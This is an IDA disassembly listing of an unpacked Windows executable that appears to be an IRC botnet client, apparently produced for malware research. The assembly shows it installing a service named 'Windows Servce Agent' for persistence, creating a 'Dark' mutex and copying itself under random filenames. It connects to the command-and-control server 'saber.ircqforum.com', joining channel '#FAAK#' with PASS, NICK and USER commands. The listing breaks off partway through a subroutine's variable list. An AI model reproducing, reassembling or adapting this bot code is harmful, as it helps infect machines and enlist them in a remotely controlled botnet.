;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 8A4C7C3BBA91D4EA53764D768FBF7E23
; File Name : u:\work\8a4c7c3bba91d4ea53764d768fbf7e23_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000DD000 ( 905216.)
; Section size in file : 000DD000 ( 905216.)
; Offset to raw data for section: 00001000
; Flags C0000040: Data Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
___ segment para public 'DATA' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: ___:00401579p
; sub_418359+1Ep
; DATA XREF: ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_429050
xor esi, esi
mov ebx, offset aWindowsServceA ; "Windows Servce Agent"
loc_401013: ; CODE XREF: sub_401000+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_4CAF28
cmp [ebp+arg_0], esi
jz short loc_40104D
push [ebp+arg_0]
call sub_41AFE0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_4CAF98
jmp short loc_401057
; ---------------------------------------------------------------------------
loc_40104D: ; CODE XREF: sub_401000+2Fj
push ebx
push [ebp+var_4]
call dword_4CAED8
loc_401057: ; CODE XREF: sub_401000+4Bj
push [ebp+var_4]
call dword_4CAF50
add edi, 8
cmp edi, offset dword_429068
jb short loc_401013
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401070 proc near ; CODE XREF: sub_4010AB+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4010A5
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_401089: ; CODE XREF: sub_401070+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_427238[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401089
pop edi
pop ebx
loc_4010A5: ; CODE XREF: sub_401070+Ej
mov eax, esi
pop esi
not eax
retn
sub_401070 endp
; =============== S U B R O U T I N E =======================================
sub_4010AB proc near ; CODE XREF: ___:00416643p
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_41B4D5
mov [esp+10h+var_10], offset dword_429068
push [esp+10h+arg_0]
mov esi, eax
call sub_41B4C2
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_4010FA
loc_4010D0: ; CODE XREF: sub_4010AB+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_4010FE
inc ebx
push ebx
push esi
call sub_41B202
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010FA
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_41B11A
add esp, 10h
jmp short loc_4010D0
; ---------------------------------------------------------------------------
loc_4010FA: ; CODE XREF: sub_4010AB+23j
; sub_4010AB+39j
xor eax, eax
jmp short loc_401119
; ---------------------------------------------------------------------------
loc_4010FE: ; CODE XREF: sub_4010AB+29j
dec ebx
push ebx
push esi
call sub_401070
push esi
mov ebx, eax
call sub_41B0B1
push edi
call sub_41B05B
add esp, 10h
mov eax, ebx
loc_401119: ; CODE XREF: sub_4010AB+51j
pop edi
pop esi
pop ebx
retn
sub_4010AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40111D proc near ; DATA XREF: ___:00401235o
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_43DEBC
call dword_4CB00C
call sub_40B2BF
call dword_4CAECC
call dword_4CAECC
mov ebx, dword_427078
push 64h
call ebx
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41B590
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_41B590
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset dword_43D128
mov [ebp+var_28], 1
mov [ebp+var_24], di
nop
call near ptr 2670000h
lea eax, [ebp+var_158]
push esi
push eax
push edi
call near ptr 266039Ah
nop
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
nop
call near ptr 2660000h
test eax, eax
jz short loc_4011E2
push 64h
call ebx
push [ebp+var_10]
mov esi, dword_427068
call esi
push [ebp+var_C]
call esi
loc_4011E2: ; CODE XREF: sub_40111D+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_43D120
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
nop
call near ptr 77E75CB5h
pop edi
pop esi
pop ebx
loc_401205: ; DATA XREF: ___:00429004o
jmp $+5
push 0FFFFh
push 539h
call sub_418684
pop ecx
mov dword_4CACB0, eax
pop ecx
retn
sub_40111D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp-8], ebx
mov [ebp-0Ch], ebx
mov dword ptr [ebp-4], offset sub_40111D
push dword ptr [ebp-4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_4270A8
call esi
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4CACB4, eax
call esi
push eax
call sub_41B8D8
pop ecx
call sub_409B12
push 2
call dword_4CB020
push 7530h
push offset aDark ; "Dark"
push ebx
push ebx
nop
call near ptr 26806B0h
push eax
call near ptr 268064Ah
nop
cmp eax, 102h
jnz short loc_4012A1
push 1
nop
call near ptr 77E75CB5h
loc_4012A1: ; CODE XREF: ___:00401297j
lea eax, [ebp-884h]
push eax
push 202h
call dword_4CAEE4
cmp eax, ebx
jnz loc_4017E4
cmp byte ptr [ebp-884h], 2
jnz loc_4017DE
xor eax, eax
mov al, [ebp-883h]
cmp al, 2
jnz loc_4017DE
mov esi, 104h
lea eax, [ebp-3F0h]
push esi
push eax
nop
call near ptr 2670000h
lea eax, [ebp-2ECh]
push esi
push eax
push ebx
call near ptr 2680528h
nop
push eax
nop
call near ptr 266039Ah
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push ebx
lea eax, [ebp-2ECh]
push ebx
push eax
call sub_41B9D1
add esp, 14h
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push offset dword_4293C4
lea eax, [ebp-5F4h]
push esi
push eax
call sub_41B980
lea eax, [ebp-3F0h]
push eax
lea eax, [ebp-2ECh]
push eax
call sub_41B900
add esp, 1Ch
test eax, eax
jnz loc_401516
cmp dword_42908C, ebx
mov esi, offset byte_429108
jz short loc_40139C
push esi
xor edi, edi
call sub_41AFE0
sub eax, 4
pop ecx
jz short loc_40139C
loc_401379: ; CODE XREF: ___:0040139Aj
call sub_41B8E2
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_429108[edi], dl
inc edi
call sub_41AFE0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_401379
loc_40139C: ; CODE XREF: ___:00401369j
; ___:00401377j
lea eax, [ebp-3F0h]
push esi
push eax
lea eax, [ebp-1E8h]
push offset dword_4293BC
push eax
call sub_41B886
add esp, 10h
lea eax, [ebp-1E8h]
push eax
nop
call near ptr 2680495h
cmp eax, 0FFFFFFFFh
jz short loc_4013DC
lea eax, [ebp-1E8h]
push 80h
push eax
nop
call near ptr 2680382h
loc_4013DC: ; CODE XREF: ___:004013C8j
mov esi, dword_427090
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
xor edi, edi
push eax
loc_4013F3: ; CODE XREF: ___:0040142Aj
call esi
test eax, eax
jnz short loc_40142C
nop
call near ptr 2670D70h
cmp edi, ebx
jnz short loc_40142C
cmp eax, 20h
jz short loc_40140D
cmp eax, 5
jnz short loc_40142C
loc_40140D: ; CODE XREF: ___:00401406j
push 1
pop edi
push 3A98h
nop
call near ptr 26703BBh
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
push eax
jmp short loc_4013F3
; ---------------------------------------------------------------------------
loc_40142C: ; CODE XREF: ___:004013F7j
; ___:00401401j ...
lea eax, [ebp-1E8h]
push eax
call sub_418293
pop ecx
lea eax, [ebp-1E8h]
push 7
push eax
nop
call near ptr 2680382h
push 10h
lea eax, [ebp-20h]
push ebx
push eax
call sub_41B590
push 44h
lea eax, [ebp-0E4h]
pop esi
push esi
push ebx
push eax
call sub_41B590
add esp, 18h
mov [ebp-0E4h], esi
mov dword ptr [ebp-0D8h], offset dword_43D128
mov [ebp-0B4h], bx
push 1
pop esi
mov [ebp-0B8h], esi
nop
call near ptr 2670CF9h
push eax
push esi
push 100000h
call near ptr 267071Ch
nop
lea ecx, [ebp-2ECh]
push ecx
push eax
lea eax, [ebp-1E8h]
push eax
lea eax, [ebp-988h]
push offset dword_4293B0
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp-20h]
push eax
lea eax, [ebp-0E4h]
push eax
lea eax, [ebp-3F0h]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp-988h]
push ebx
push eax
lea eax, [ebp-1E8h]
push eax
call near ptr 2660000h
nop
test eax, eax
jz short loc_401516
push 0C8h
nop
call near ptr 26703BBh
push dword ptr [ebp-20h]
mov esi, dword_427068
call esi
push dword ptr [ebp-1Ch]
call esi
call dword_4CAECC
push ebx
nop
call near ptr 77E75CB5h
loc_401516: ; CODE XREF: ___:00401358j
; ___:004014ECj
cmp dword_4DB294, 2
jle short loc_401562
mov eax, dword_4DB298
push dword ptr [eax+4]
call sub_41B779
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
nop
call near ptr 268064Ah
push esi
call near ptr 265098Dh
nop
mov eax, dword_4DB298
cmp [eax+8], ebx
jz short loc_401562
push 7D0h
nop
call near ptr 26703BBh
mov eax, dword_4DB298
push dword ptr [eax+8]
nop
call near ptr 2670603h
loc_401562: ; CODE XREF: ___:0040151Dj
; ___:00401547j
cmp dword_429090, ebx
jz short loc_40157F
cmp dword_4CB044, ebx
jnz short loc_40157F
lea eax, [ebp-5F4h]
push eax
call sub_401000
pop ecx
loc_40157F: ; CODE XREF: ___:00401568j
; ___:00401570j
lea eax, [ebp-0A0h]
push offset dword_429394
push eax
call sub_41B886
push ebx
lea eax, [ebp-0A0h]
push ebx
push eax
call sub_40B0F6
lea eax, [ebp-0A0h]
push eax
call sub_4151AC
push 0B80h
push ebx
push offset dword_43D130
call sub_41B590
add esp, 24h
lea eax, [ebp-0A0h]
push offset unk_429370
push eax
call sub_41B886
push ebx
lea eax, [ebp-0A0h]
push 1
push eax
call sub_40B0F6
add esp, 14h
mov esi, eax
mov edi, dword_42707C
lea eax, [ebp-8]
push eax
push ebx
push ebx
push offset dword_419A00
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_43DEC4[esi], eax
jnz short loc_401622
call near ptr 2670D70h
nop
push eax
lea eax, [ebp-0A0h]
push offset unk_429330
push eax
call sub_41B886
add esp, 0Ch
loc_401622: ; CODE XREF: ___:00401605j
lea eax, [ebp-0A0h]
push eax
call sub_4151AC
push 2
call sub_40B33E
pop ecx
test eax, eax
pop ecx
jnz short loc_4016A7
lea eax, [ebp-0A0h]
push offset dword_429304
push eax
call sub_41B886
push ebx
lea eax, [ebp-0A0h]
push 2
push eax
call sub_40B0F6
add esp, 14h
mov esi, eax
lea eax, [ebp-8]
push eax
push ebx
push esi
push offset loc_4101FC
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_43DEC4[esi], eax
jnz short loc_40169A
nop
call near ptr 2670D70h
push eax
lea eax, [ebp-0A0h]
push offset dword_4292D0
push eax
call sub_41B886
add esp, 0Ch
loc_40169A: ; CODE XREF: ___:0040167Dj
lea eax, [ebp-0A0h]
push eax
call sub_4151AC
pop ecx
loc_4016A7: ; CODE XREF: ___:00401639j
call sub_41B8E2
push 7Fh
and eax, 3
push offset aSaber_ircqforu ; "saber.ircqforum.com"
push offset dword_4CACBC
mov dword_4CAE28, eax
call sub_41B5F0
mov eax, dword_42906C
push 3Fh
mov edi, offset dword_4CAD3C
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CAE0C, eax
call sub_41B5F0
push 3Fh
mov esi, offset dword_4CAD7C
push offset aSaad_ ; "saad."
push esi
call sub_41B5F0
add esp, 24h
mov dword_4CAE10, ebx
loc_4016FC: ; CODE XREF: ___:00401784j
; ___:0040178Fj ...
mov [ebp-4], ebx
loc_4016FF: ; CODE XREF: ___:00401738j
push offset dword_4CACB8
mov dword_4CAE24, ebx
call sub_4017ED
cmp eax, 2
mov [ebp-10h], eax
jz loc_4017D9
cmp dword_4CAE24, ebx
jz short loc_401726
dec dword ptr [ebp-4]
loc_401726: ; CODE XREF: ___:00401721j
push 0BB8h
nop
call near ptr 26703BBh
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 6
jl short loc_4016FF
cmp dword ptr [ebp-10h], 2
jz loc_4017D9
cmp [ebp-0Ch], ebx
jz short loc_401789
push 7Fh
push offset aSaber_ircqforu ; "saber.ircqforum.com"
push offset dword_4CACBC
call sub_41B5F0
mov eax, dword_42906C
push 3Fh
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CAE0C, eax
call sub_41B5F0
push 3Fh
push offset aSaad_ ; "saad."
push esi
call sub_41B5F0
add esp, 24h
mov [ebp-0Ch], ebx
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_401789: ; CODE XREF: ___:00401747j
cmp byte_4290E4, bl
jz loc_4016FC
push 7Fh
push offset byte_4290E4
push offset dword_4CACBC
call sub_41B5F0
mov eax, dword_429070
push 3Fh
push offset aFaak_0 ; "#FAAK#"
push edi
mov dword_4CAE0C, eax
call sub_41B5F0
push 3Fh
push offset aSaad__0 ; "saad."
push esi
call sub_41B5F0
add esp, 24h
mov dword ptr [ebp-0Ch], 1
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_4017D9: ; CODE XREF: ___:00401715j
; ___:0040173Ej
call sub_40B2BF
loc_4017DE: ; CODE XREF: ___:004012C2j
; ___:004012D2j
call dword_4CAECC
loc_4017E4: ; CODE XREF: ___:004012B5j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4017ED proc near ; CODE XREF: ___:0040170Ap
; DATA XREF: sub_401ACD+662Ao
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_401812: ; CODE XREF: sub_4017ED+E6j
; sub_4017ED+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_4CAF74
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40AAF9
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40193F
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41B590
push 0
lea eax, [ebp+var_2C]
push dword_4290A0
push dword_42909C
push eax
call sub_40B08D
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_43DEC8
push edi
push eax
call sub_41B5F0
add esp, 28h
push 6
push 1
push 2
call dword_4CAFF4
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_43DEBC[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_4CAF1C
cmp eax, 0FFFFFFFFh
jnz short loc_4018D8
push esi
call dword_4CB00C
call sub_40AB22
push 7D0h
loc_4018CD: ; CODE XREF: sub_4017ED+146j
call near ptr 26703BBh
nop
jmp loc_401812
; ---------------------------------------------------------------------------
loc_4018D8: ; CODE XREF: sub_4017ED+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_4293CC
call sub_415220
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_401955
add esp, 28h
mov edi, eax
push esi
call dword_4CB00C
test edi, edi
jz loc_401812
cmp edi, 1
jnz short loc_401935
push 0DBBA0h
jmp short loc_4018CD
; ---------------------------------------------------------------------------
loc_401935: ; CODE XREF: sub_4017ED+13Fj
cmp edi, 2
jz short loc_401943
jmp loc_401812
; ---------------------------------------------------------------------------
loc_40193F: ; CODE XREF: sub_4017ED+5Aj
xor eax, eax
jmp short loc_40194F
; ---------------------------------------------------------------------------
loc_401943: ; CODE XREF: sub_4017ED+14Bj
push [ebp+var_34]
call sub_40B412
pop ecx
push 2
pop eax
loc_40194F: ; CODE XREF: sub_4017ED+154j
pop edi
pop esi
leave
retn 4
sub_4017ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401955 proc near ; CODE XREF: sub_4017ED+123p
var_1A90 = byte ptr -1A90h
var_A90 = byte ptr -0A90h
var_2C0 = byte ptr -2C0h
var_140 = byte ptr -140h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call sub_41BB20
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_401973: ; CODE XREF: sub_401955+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_401973
cmp byte_4CAE20, bl
jz short loc_40199A
push offset byte_4CAE20
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_409A2C
add esp, 0Ch
loc_40199A: ; CODE XREF: sub_401955+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_40B08D
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41B886
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41AFE0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_4CAFC4
cmp eax, 0FFFFFFFFh
jnz short loc_401A04
push [ebp+arg_0]
call dword_4CB00C
push 1388h
call near ptr 26703BBh
nop
loc_4019FD: ; CODE XREF: sub_401955+D9j
; sub_401955+153j
xor eax, eax
loc_4019FF: ; CODE XREF: sub_401955+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401A04: ; CODE XREF: sub_401955+92j
; sub_401955+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A90]
push esi
push ebx
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_1A90]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CAF8C
test eax, eax
jle short loc_4019FD
lea eax, [ebp+var_A90]
push eax
lea eax, [ebp+var_1A90]
push eax
call sub_417F7F
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401A04
lea edi, [ebp+var_A90]
loc_401A55: ; CODE XREF: sub_401955+165j
push 1
pop esi
loc_401A58: ; CODE XREF: sub_401955+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_2C0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_401ACD
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401A9B
push 7D0h
nop
call near ptr 26703BBh
jmp short loc_401A58
; ---------------------------------------------------------------------------
loc_401A9B: ; CODE XREF: sub_401955+137j
cmp esi, 0FFFFFFFDh
jz short loc_401AC5
cmp esi, 0FFFFFFFEh
jz short loc_401AC1
cmp esi, 0FFFFFFFFh
jz loc_4019FD
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401A55
jmp loc_401A04
; ---------------------------------------------------------------------------
loc_401AC1: ; CODE XREF: sub_401955+14Ej
push 1
jmp short loc_401AC7
; ---------------------------------------------------------------------------
loc_401AC5: ; CODE XREF: sub_401955+149j
push 2
loc_401AC7: ; CODE XREF: sub_401955+16Ej
pop eax
jmp loc_4019FF
sub_401955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401ACD proc near ; CODE XREF: sub_401955+12Ap
var_5D88 = byte ptr -5D88h
var_5988 = byte ptr -5988h
var_5588 = byte ptr -5588h
var_53F8 = byte ptr -53F8h
var_51F8 = byte ptr -51F8h
var_50F4 = byte ptr -50F4h
var_4FF4 = byte ptr -4FF4h
var_4EF0 = byte ptr -4EF0h
var_4DF0 = byte ptr -4DF0h
var_4CF0 = byte ptr -4CF0h
var_4BF0 = byte ptr -4BF0h
var_4AF0 = byte ptr -4AF0h
var_48F0 = byte ptr -48F0h
var_47EC = byte ptr -47ECh
var_46EC = byte ptr -46ECh
var_45EC = byte ptr -45ECh
var_4588 = byte ptr -4588h
var_4488 = byte ptr -4488h
var_4288 = byte ptr -4288h
var_4188 = byte ptr -4188h
var_4088 = byte ptr -4088h
var_3F88 = dword ptr -3F88h
var_3F84 = byte ptr -3F84h
var_3F04 = byte ptr -3F04h
var_3E00 = byte ptr -3E00h
var_3CFC = dword ptr -3CFCh
var_3CF8 = dword ptr -3CF8h
var_3CF4 = dword ptr -3CF4h
var_3CF0 = dword ptr -3CF0h
var_3CEC = dword ptr -3CECh
var_3CE8 = dword ptr -3CE8h
var_3CE4 = byte ptr -3CE4h
var_3C64 = byte ptr -3C64h
var_3BE4 = byte ptr -3BE4h
var_3B64 = byte ptr -3B64h
var_3AE4 = byte ptr -3AE4h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = dword ptr -3A5Ch
var_3A58 = dword ptr -3A58h
var_3A54 = byte ptr -3A54h
var_37CD = byte ptr -37CDh
var_37CC = byte ptr -37CCh
var_36C8 = dword ptr -36C8h
var_36C0 = dword ptr -36C0h
var_36BC = dword ptr -36BCh
var_36B8 = dword ptr -36B8h
var_36B4 = dword ptr -36B4h
var_36AC = dword ptr -36ACh
var_36A8 = dword ptr -36A8h
var_36A4 = byte ptr -36A4h
var_3624 = byte ptr -3624h
var_35A4 = byte ptr -35A4h
var_3524 = byte ptr -3524h
var_34A4 = dword ptr -34A4h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = dword ptr -3498h
var_3494 = dword ptr -3494h
var_3490 = byte ptr -3490h
var_3410 = byte ptr -3410h
var_3390 = byte ptr -3390h
var_3310 = byte ptr -3310h
var_3290 = dword ptr -3290h
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = dword ptr -3284h
var_3280 = dword ptr -3280h
var_327C = byte ptr -327Ch
var_31FC = byte ptr -31FCh
var_317C = byte ptr -317Ch
var_30FC = byte ptr -30FCh
var_307C = dword ptr -307Ch
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = dword ptr -3070h
var_306C = dword ptr -306Ch
var_3068 = byte ptr -3068h
var_2FE8 = byte ptr -2FE8h
var_2F68 = byte ptr -2F68h
var_2EE8 = byte ptr -2EE8h
var_2E68 = dword ptr -2E68h
var_2E64 = dword ptr -2E64h
var_2E60 = dword ptr -2E60h
var_2E5C = dword ptr -2E5Ch
var_2E58 = byte ptr -2E58h
var_2D54 = dword ptr -2D54h
var_2D50 = byte ptr -2D50h
var_2C4C = byte ptr -2C4Ch
var_2B48 = dword ptr -2B48h
var_2B44 = dword ptr -2B44h
var_2B40 = dword ptr -2B40h
var_2B3C = byte ptr -2B3Ch
var_2ABC = dword ptr -2ABCh
var_2AB8 = dword ptr -2AB8h
var_2AB4 = dword ptr -2AB4h
var_2AB0 = dword ptr -2AB0h
var_2AA8 = byte ptr -2AA8h
var_2990 = byte ptr -2990h
var_2910 = dword ptr -2910h
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = dword ptr -2900h
var_28FC = dword ptr -28FCh
var_28F8 = byte ptr -28F8h
var_2878 = byte ptr -2878h
var_2778 = byte ptr -2778h
var_2678 = dword ptr -2678h
var_2674 = dword ptr -2674h
var_2670 = dword ptr -2670h
var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = dword ptr -2658h
var_2654 = dword ptr -2654h
var_2650 = byte ptr -2650h
var_25D0 = byte ptr -25D0h
var_24D0 = byte ptr -24D0h
var_23D0 = dword ptr -23D0h
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = dword ptr -23B0h
var_23AC = dword ptr -23ACh
var_23A8 = byte ptr -23A8h
var_2328 = byte ptr -2328h
var_22A8 = byte ptr -22A8h
var_2228 = dword ptr -2228h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = dword ptr -221Ch
var_2218 = dword ptr -2218h
var_2214 = byte ptr -2214h
var_2194 = byte ptr -2194h
var_2114 = byte ptr -2114h
var_2094 = dword ptr -2094h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = dword ptr -2088h
var_2084 = dword ptr -2084h
var_2080 = byte ptr -2080h
var_2000 = byte ptr -2000h
var_1F80 = byte ptr -1F80h
var_1F00 = dword ptr -1F00h
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = dword ptr -1EF4h
var_1EF0 = dword ptr -1EF0h
var_1EEC = byte ptr -1EECh
var_1DEC = byte ptr -1DECh
var_1D6C = dword ptr -1D6Ch
var_1D64 = dword ptr -1D64h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
var_1D54 = dword ptr -1D54h
var_1D50 = dword ptr -1D50h
var_1D48 = byte ptr -1D48h
var_1D34 = byte ptr -1D34h
var_1C30 = byte ptr -1C30h
var_1BAC = dword ptr -1BACh
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1BA0 = dword ptr -1BA0h
var_1B9C = dword ptr -1B9Ch
var_1B94 = byte ptr -1B94h
var_1B80 = byte ptr -1B80h
var_1A7C = byte ptr -1A7Ch
var_19FC = dword ptr -19FCh
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = dword ptr -19ECh
var_19E8 = dword ptr -19E8h
var_19E4 = byte ptr -19E4h
var_1964 = byte ptr -1964h
var_1924 = byte ptr -1924h
var_1824 = dword ptr -1824h
var_1820 = dword ptr -1820h
var_1814 = dword ptr -1814h
var_1810 = dword ptr -1810h
var_180C = dword ptr -180Ch
var_1808 = byte ptr -1808h
var_17D0 = byte ptr -17D0h
var_17B4 = byte ptr -17B4h
var_177C = byte ptr -177Ch
var_1778 = byte ptr -1778h
var_16F8 = byte ptr -16F8h
var_16B8 = byte ptr -16B8h
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = dword ptr -1618h
var_1614 = byte ptr -1614h
var_1594 = byte ptr -1594h
